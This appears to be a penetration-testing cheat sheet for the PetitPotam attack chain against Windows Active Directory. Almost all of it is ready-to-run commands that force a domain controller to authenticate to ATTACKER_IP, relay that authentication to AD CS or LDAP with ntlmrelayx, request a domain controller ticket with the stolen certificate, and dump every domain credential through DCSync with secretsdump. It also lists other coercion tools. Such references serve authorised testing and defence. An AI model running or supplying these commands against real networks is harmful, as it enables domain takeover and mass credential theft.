NTLM & Relay
PetitPotam
PetitPotam: coerce DC authentication via MS-EFSRPC and relay to ADCS or LDAP for domain compromise.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
PetitPotam: coerce DC authentication via MS-EFSRPC and relay to ADCS or LDAP for domain compromise.
# https://github.com/topotam/PetitPotam
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py ATTACKER_IP DC_IP -u user -p password -d DOMAIN
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u user -p password -d DOMAIN ATTACKER_IP DC_IP
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP
# Get TGT with certificate
python3 gettgtpkinit.py DOMAIN/'DC$' dc.ccache -cert-pfx dc.pfx
# DCSync
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass DOMAIN/'DC$'@DC_HOSTNAME
impacket-ntlmrelayx -t ldap://DC_IP --delegate-access --escalate-user attacker
python3 PetitPotam.py ATTACKER_IP DC_IP
| Tool | Protocol |
|---|---|
| PetitPotam | MS-EFSRPC |
| PrinterBug / SpoolSample | MS-RPRN |
| DFSCoerce | MS-DFSNM |
| ShadowCoerce | MS-FSRVP |
# https://github.com/dirkjanm/krbrelayx
python3 printerbug.py DOMAIN/user:password@DC_IP ATTACKER_IP
python3 dfscoerce.py -u user -p password -d DOMAIN ATTACKER_IP DC_IP
| Step | Command |
|---|---|
| Coerce | PetitPotam.py ATTACKER DC_IP |
| Relay ADCS | ntlmrelayx -t http://CA/certsrv/... --adcs |
| Relay LDAP | ntlmrelayx -t ldap://DC --delegate-access |
| Get TGT | gettgtpkinit.py DOMAIN/'DC$' dc.ccache -cert-pfx dc.pfx |